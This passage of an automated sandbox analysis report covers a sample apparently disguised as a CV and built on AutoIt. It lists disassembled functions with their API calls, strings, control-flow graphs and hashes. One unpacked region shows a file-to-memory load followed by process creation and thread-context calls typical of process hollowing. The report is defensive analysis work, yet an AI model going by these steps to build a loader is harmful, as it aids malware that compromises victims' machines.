                                                                  • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                  • String ID: TaskbarCreated
                                                                  • API String ID: 129472671-2362178303
                                                                  • Opcode ID: f4829207624ddd66c1eeadb541f2ee98b6d7bf8c43cba162943c0468c1b98a37
                                                                  • Instruction ID: 91206d5b322d077b9d60afbb554629ee6f65ed53a2c7609b9087e5aae66442ae
                                                                  • Opcode Fuzzy Hash: f4829207624ddd66c1eeadb541f2ee98b6d7bf8c43cba162943c0468c1b98a37
                                                                  • Instruction Fuzzy Hash: DD4117F11041A6A7DF145B2CBC8AFB936D9FB14B00F1409A5F50A971B1CF799E409761
                                                                  Function 00B23E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66windowregistryCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  APIs
                                                                  • GetSysColorBrush.USER32(0000000F), ref: 00B23E79
                                                                  • LoadCursorW.USER32(00000000,00007F00), ref: 00B23E88
                                                                  • LoadIconW.USER32(00000063), ref: 00B23E9E
                                                                  • LoadIconW.USER32(000000A4), ref: 00B23EB0
                                                                  • LoadIconW.USER32(000000A2), ref: 00B23EC2
                                                                    • Part of subcall function 00B24024: LoadImageW.USER32(00B20000,00000063,00000001,00000010,00000010,00000000), ref: 00B24048
                                                                  • RegisterClassExW.USER32(?), ref: 00B23F30
                                                                    • Part of subcall function 00B23F53: GetSysColorBrush.USER32(0000000F), ref: 00B23F86
                                                                    • Part of subcall function 00B23F53: RegisterClassExW.USER32(00000030), ref: 00B23FB0
                                                                    • Part of subcall function 00B23F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B23FC1
                                                                    • Part of subcall function 00B23F53: InitCommonControlsEx.COMCTL32(?), ref: 00B23FDE
                                                                    • Part of subcall function 00B23F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B23FEE
                                                                    • Part of subcall function 00B23F53: LoadIconW.USER32(000000A9), ref: 00B24004
                                                                    • Part of subcall function 00B23F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B24013
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                  • String ID: #$0$AutoIt v3
                                                                  • API String ID: 423443420-4155596026
                                                                  • Opcode ID: bf66e5d8d0a72b8fc101bae41e9719cb16396d8a0a6c01d542a471ecfdd581bc
                                                                  • Instruction ID: fad20f7533d0bf69a0d79877850493476584b3e973337c09f238375736db7200
                                                                  • Opcode Fuzzy Hash: bf66e5d8d0a72b8fc101bae41e9719cb16396d8a0a6c01d542a471ecfdd581bc
                                                                  • Instruction Fuzzy Hash: 672133B0E00354ABCB04DFADEC85A9DBBF5EB48710F10855AE219AB2A1DB7546448F91
                                                                  Function 014DE500 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 1021 14de500-14de5ae call 14dbf10 1024 14de5b5-14de5db call 14df410 CreateFileW 1021->1024 1027 14de5dd 1024->1027 1028 14de5e2-14de5f2 1024->1028 1029 14de72d-14de731 1027->1029 1036 14de5f9-14de613 VirtualAlloc 1028->1036 1037 14de5f4 1028->1037 1030 14de773-14de776 1029->1030 1031 14de733-14de737 1029->1031 1033 14de779-14de780 1030->1033 1034 14de739-14de73c 1031->1034 1035 14de743-14de747 1031->1035 1038 14de7d5-14de7ea 1033->1038 1039 14de782-14de78d 1033->1039 1034->1035 1040 14de749-14de753 1035->1040 1041 14de757-14de75b 1035->1041 1042 14de61a-14de631 ReadFile 1036->1042 1043 14de615 1036->1043 1037->1029 1048 14de7ec-14de7f7 VirtualFree 1038->1048 1049 14de7fa-14de802 1038->1049 1046 14de78f 1039->1046 1047 14de791-14de79d 1039->1047 1040->1041 1050 14de75d-14de767 1041->1050 1051 14de76b 1041->1051 1044 14de638-14de678 VirtualAlloc 1042->1044 1045 14de633 1042->1045 1043->1029 1052 14de67f-14de69a call 14df660 1044->1052 1053 14de67a 1044->1053 1045->1029 1046->1038 1054 14de79f-14de7af 1047->1054 1055 14de7b1-14de7bd 1047->1055 1048->1049 1050->1051 1051->1030 1061 14de6a5-14de6af 1052->1061 1053->1029 1057 14de7d3 1054->1057 1058 14de7bf-14de7c8 1055->1058 1059 14de7ca-14de7d0 1055->1059 1057->1033 1058->1057 1059->1057 1062 14de6b1-14de6e0 call 14df660 1061->1062 1063 14de6e2-14de6f6 call 14df470 1061->1063 1062->1061 1069 14de6f8 1063->1069 1070 14de6fa-14de6fe 1063->1070 1069->1029 1071 14de70a-14de70e 1070->1071 1072 14de700-14de704 CloseHandle 1070->1072 1073 14de71e-14de727 1071->1073 1074 14de710-14de71b VirtualFree 1071->1074 1072->1071 1073->1024 1073->1029 1074->1073
                                                                  APIs
                                                                  • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 014DE5D1
                                                                  • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 014DE7F7
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1383175350.00000000014DB000.00000040.00000020.00020000.00000000.sdmp, Offset: 014DB000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14db000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateFileFreeVirtual
                                                                  • String ID:
                                                                  • API String ID: 204039940-0
                                                                  • Opcode ID: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                                                  • Instruction ID: 5e56ca2429586964924e37e5c923e37860b8a92b9269202bdc4c3f23859021d9
                                                                  • Opcode Fuzzy Hash: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                                                  • Instruction Fuzzy Hash: CAA10674E00209EBDF14CFA4C8A4BEEBBB5FF48304F20855AE605BB291D7759A41CB94
                                                                  Function 00B249FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 1130 b249fb-b24a25 call b2bcce RegOpenKeyExW 1133 b941cc-b941e3 RegQueryValueExW 1130->1133 1134 b24a2b-b24a2f 1130->1134 1135 b941e5-b94222 call b3f4ea call b247b7 RegQueryValueExW 1133->1135 1136 b94246-b9424f RegCloseKey 1133->1136 1141 b9423d-b94245 call b247e2 1135->1141 1142 b94224-b9423b call b26a63 1135->1142 1141->1136 1142->1141
                                                                  APIs
                                                                  • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00B24A1D
                                                                  • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00B941DB
                                                                  • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00B9421A
                                                                  • RegCloseKey.ADVAPI32(?), ref: 00B94249
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: QueryValue$CloseOpen
                                                                  • String ID: Include$Software\AutoIt v3\AutoIt
                                                                  • API String ID: 1586453840-614718249
                                                                  • Opcode ID: f66c7f11206ca5ff4b6aafc9cecd2c1babd9112edad4020ff515af2fb89b68ed
                                                                  • Instruction ID: ab89237d79f3ab4023d9aa846c9dcba4b3400ac2f266d64c7ae22301c00e7553
                                                                  • Opcode Fuzzy Hash: f66c7f11206ca5ff4b6aafc9cecd2c1babd9112edad4020ff515af2fb89b68ed
                                                                  • Instruction Fuzzy Hash: 1F113D75A00119BFEB14ABA4DD96DFF7BECEF15344F1000A5B506E71A1EB709E029750
                                                                  Function 00B236B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 1157 b236b8-b23728 CreateWindowExW * 2 ShowWindow * 2
                                                                  APIs
                                                                  • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00B236E6
                                                                  • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00B23707
                                                                  • ShowWindow.USER32(00000000,?,?,?,?,00B23AA3,?), ref: 00B2371B
                                                                  • ShowWindow.USER32(00000000,?,?,?,?,00B23AA3,?), ref: 00B23724
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$CreateShow
                                                                  • String ID: AutoIt v3$edit
                                                                  • API String ID: 1584632944-3779509399
                                                                  • Opcode ID: 02c303a05cecfb3ae6a6c53874f84a7991bb4b951cb084679388e1f92b38a257
                                                                  • Instruction ID: 1833d169d72499eafa366b798a209892a9928ebdce694053094e4b077f4c7ab8
                                                                  • Opcode Fuzzy Hash: 02c303a05cecfb3ae6a6c53874f84a7991bb4b951cb084679388e1f92b38a257
                                                                  • Instruction Fuzzy Hash: E8F03A715402D07AEB30975BAC89E772E7ED7C7F20B10441ABA04AB1B1C9B548C1CAB0
                                                                  Function 014DE2C0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 147fileCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 1262 14de2c0-14de3f5 call 14dbf10 call 14de1b0 CreateFileW 1269 14de3fc-14de40c 1262->1269 1270 14de3f7 1262->1270 1273 14de40e 1269->1273 1274 14de413-14de42d VirtualAlloc 1269->1274 1271 14de4ac-14de4b1 1270->1271 1273->1271 1275 14de42f 1274->1275 1276 14de431-14de448 ReadFile 1274->1276 1275->1271 1277 14de44c-14de486 call 14de1f0 call 14dd1b0 1276->1277 1278 14de44a 1276->1278 1283 14de488-14de49d call 14de240 1277->1283 1284 14de4a2-14de4aa ExitProcess 1277->1284 1278->1271 1283->1284 1284->1271
                                                                  APIs
                                                                    • Part of subcall function 014DE1B0: Sleep.KERNELBASE(000001F4), ref: 014DE1C1
                                                                  • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 014DE3EB
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1383175350.00000000014DB000.00000040.00000020.00020000.00000000.sdmp, Offset: 014DB000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14db000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateFileSleep
                                                                  • String ID: CLXC1J0KHIHIWO8TCBEVAD9
                                                                  • API String ID: 2694422964-14220026
                                                                  • Opcode ID: 0c0a6ab1d1ced2dd79f76470acfa80eb123644c791733ede1918d0bda9f2ed31
                                                                  • Instruction ID: b2d548bd1dfe9207f7803e889c3c62de34c6df95818cd17128efdbeea4c98271
                                                                  • Opcode Fuzzy Hash: 0c0a6ab1d1ced2dd79f76470acfa80eb123644c791733ede1918d0bda9f2ed31
                                                                  • Instruction Fuzzy Hash: 20519070D04289DAEF11DBE4C814BEFBBB4AF15304F04419AE6087B2C1D6BA1B48CBA5
                                                                  Function 00B251AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                                  Download Yara Rule

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 1286 b251af-b251c5 1287 b252a2-b252a6 1286->1287 1288 b251cb-b251e0 call b26b0f 1286->1288 1291 b251e6-b25206 call b26a63 1288->1291 1292 b93ca1-b93cb0 LoadStringW 1288->1292 1295 b93cbb-b93cd3 call b2510d call b24db1 1291->1295 1297 b2520c-b25210 1291->1297 1292->1295 1304 b25220-b2529d call b40d50 call b250e6 call b40d23 Shell_NotifyIconW call b2cb37 1295->1304 1308 b93cd9-b93cf7 call b2518c call b24db1 call b2518c 1295->1308 1299 b25216-b2521b call b2510d 1297->1299 1300 b252a7-b252b0 call b26eed 1297->1300 1299->1304 1300->1304 1304->1287 1308->1304
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B2522F
                                                                  • _wcscpy.LIBCMT ref: 00B25283
                                                                  • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00B25293
                                                                  • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00B93CB0
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: IconLoadNotifyShell_String_memset_wcscpy
                                                                  • String ID: Line:
                                                                  • API String ID: 1053898822-1585850449
                                                                  • Opcode ID: 6e66465a6b9906838d9693faf596f4227e04675a74ae1c6c9b2b76a60001eea2
                                                                  • Instruction ID: a65f80eb6423e77eb52eb0cc66d7b8d42e9410c28a612c5416a294e6126d0b24
                                                                  • Opcode Fuzzy Hash: 6e66465a6b9906838d9693faf596f4227e04675a74ae1c6c9b2b76a60001eea2
                                                                  • Instruction Fuzzy Hash: 0731AF71408750AAD731EB64EC86FDE77D8EB44310F10499EF58997192EF70A648CB93
                                                                  Function 00B24139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B241A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00B239FE,?,00000001), ref: 00B241DB
                                                                  • _free.LIBCMT ref: 00B936B7
                                                                  • _free.LIBCMT ref: 00B936FE
                                                                    • Part of subcall function 00B2C833: __wsplitpath.LIBCMT ref: 00B2C93E
                                                                    • Part of subcall function 00B2C833: _wcscpy.LIBCMT ref: 00B2C953
                                                                    • Part of subcall function 00B2C833: _wcscat.LIBCMT ref: 00B2C968
                                                                    • Part of subcall function 00B2C833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00B2C978
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
                                                                  • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                                  • API String ID: 805182592-1757145024
                                                                  • Opcode ID: be59429d58f3cddc5e26b6d28fa57e2cb417273194f01fa12302350942008069
                                                                  • Instruction ID: d79749cef429a43fd938c0505de5662f3429908cf2416f6c1608d856cbb29f08
                                                                  • Opcode Fuzzy Hash: be59429d58f3cddc5e26b6d28fa57e2cb417273194f01fa12302350942008069
                                                                  • Instruction Fuzzy Hash: B7916171910229AFCF04EFA4DC919EEBBF4FF19710F1044A9F41AAB291DB749A45CB50
                                                                  Function 00B24A30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B25374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00BE1148,?,00B261FF,?,00000000,00000001,00000000), ref: 00B25392
                                                                    • Part of subcall function 00B249FB: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00B24A1D
                                                                  • _wcscat.LIBCMT ref: 00B92D80
                                                                  • _wcscat.LIBCMT ref: 00B92DB5
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscat$FileModuleNameOpen
                                                                  • String ID: \$\Include\
                                                                  • API String ID: 3592542968-2640467822
                                                                  • Opcode ID: a03ef77222f7ecbb76b2de33c412946323c8577867f4d652603077849362d9ef
                                                                  • Instruction ID: 5f09285408c7c343162586abf4f3679dd6837b7fb3b1450c88ae8921690c7ef7
                                                                  • Opcode Fuzzy Hash: a03ef77222f7ecbb76b2de33c412946323c8577867f4d652603077849362d9ef
                                                                  • Instruction Fuzzy Hash: CF5150764143809FC714EF55E9C28AAB7F8FE59300B4049AEF649A7261EF709B08CB53
                                                                  Function 00B434AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __getstream.LIBCMT ref: 00B434FE
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  • @_EH4_CallFilterFunc@8.LIBCMT ref: 00B43539
                                                                  • __wopenfile.LIBCMT ref: 00B43549
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
                                                                  • String ID: <G
                                                                  • API String ID: 1820251861-2138716496
                                                                  • Opcode ID: dc0dfdefaf35a6a5a69d1e031878eb4adcaec414372572d1e741acfdf4775a8b
                                                                  • Instruction ID: 11aecd0527b5ae174b141c9ce3be7234c8ed5f1047bb97144ed832b7da5765e2
                                                                  • Opcode Fuzzy Hash: dc0dfdefaf35a6a5a69d1e031878eb4adcaec414372572d1e741acfdf4775a8b
                                                                  • Instruction Fuzzy Hash: CA110A70A00206DBDB11BFB48C826AE77E4EF15B50B1984E5E415C7381EB30CB01F7A1
                                                                  Function 00B3D298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00B3D28B,SwapMouseButtons,00000004,?), ref: 00B3D2BC
                                                                  • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00B3D28B,SwapMouseButtons,00000004,?,?,?,?,00B3C865), ref: 00B3D2DD
                                                                  • RegCloseKey.KERNELBASE(00000000,?,?,00B3D28B,SwapMouseButtons,00000004,?,?,?,?,00B3C865), ref: 00B3D2FF
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CloseOpenQueryValue
                                                                  • String ID: Control Panel\Mouse
                                                                  • API String ID: 3677997916-824357125
                                                                  • Opcode ID: 5ca6e478c23bf037c55a79f63d6a8ed7ee247a012d857b61d549c4fcf725e125
                                                                  • Instruction ID: 012c4238c9c528ff536c60df533174e543a9aa6df441f4f8f47394816e61ca96
                                                                  • Opcode Fuzzy Hash: 5ca6e478c23bf037c55a79f63d6a8ed7ee247a012d857b61d549c4fcf725e125
                                                                  • Instruction Fuzzy Hash: 5B117975611208BFDB218FA4EC85EAF7BFCEF05740F2048A9F902D7210E631AE409B64
                                                                  Function 014DD1B0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateProcessW.KERNELBASE(?,00000000), ref: 014DD96B
                                                                  • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 014DDA01
                                                                  • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 014DDA23
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1383175350.00000000014DB000.00000040.00000020.00020000.00000000.sdmp, Offset: 014DB000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14db000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                  • String ID:
                                                                  • API String ID: 2438371351-0
                                                                  • Opcode ID: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
                                                                  • Instruction ID: c1805b2de90360739caa95104cacd9b18826dbdaa70e7b17bbad2c310462450b
                                                                  • Opcode Fuzzy Hash: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
                                                                  • Instruction Fuzzy Hash: BF62FB30A142589BEB24CFA4C850BDEB776EF58700F1091A9D10DEB3E4E7769E81CB59
                                                                  Function 00B6C396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B24517: _fseek.LIBCMT ref: 00B2452F
                                                                    • Part of subcall function 00B6C56D: _wcscmp.LIBCMT ref: 00B6C65D
                                                                    • Part of subcall function 00B6C56D: _wcscmp.LIBCMT ref: 00B6C670
                                                                  • _free.LIBCMT ref: 00B6C4DD
                                                                  • _free.LIBCMT ref: 00B6C4E4
                                                                  • _free.LIBCMT ref: 00B6C54F
                                                                    • Part of subcall function 00B41C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00B47A85), ref: 00B41CB1
                                                                    • Part of subcall function 00B41C9D: GetLastError.KERNEL32(00000000,?,00B47A85), ref: 00B41CC3
                                                                  • _free.LIBCMT ref: 00B6C557
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                                  • String ID:
                                                                  • API String ID: 1552873950-0
                                                                  • Opcode ID: acbc9bddfc27afc87d88584c9959c104a0ea567534d53ec5d359cc2505f852cb
                                                                  • Instruction ID: f41b7bb6ce3cacb76d64fd49747eebfa9be0d778eef8dcea80936b88e0b0e45e
                                                                  • Opcode Fuzzy Hash: acbc9bddfc27afc87d88584c9959c104a0ea567534d53ec5d359cc2505f852cb
                                                                  • Instruction Fuzzy Hash: 16514CB1A04218AFDB149F68DC81BADBBF9EF48300F1004EEF25DA7251DB755A808F59
                                                                  Function 00B3EB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B3EBB2
                                                                    • Part of subcall function 00B251AF: _memset.LIBCMT ref: 00B2522F
                                                                    • Part of subcall function 00B251AF: _wcscpy.LIBCMT ref: 00B25283
                                                                    • Part of subcall function 00B251AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00B25293
                                                                  • KillTimer.USER32(?,00000001,?,?), ref: 00B3EC07
                                                                  • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B3EC16
                                                                  • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00B93C88
                                                                  Memory Dump Source
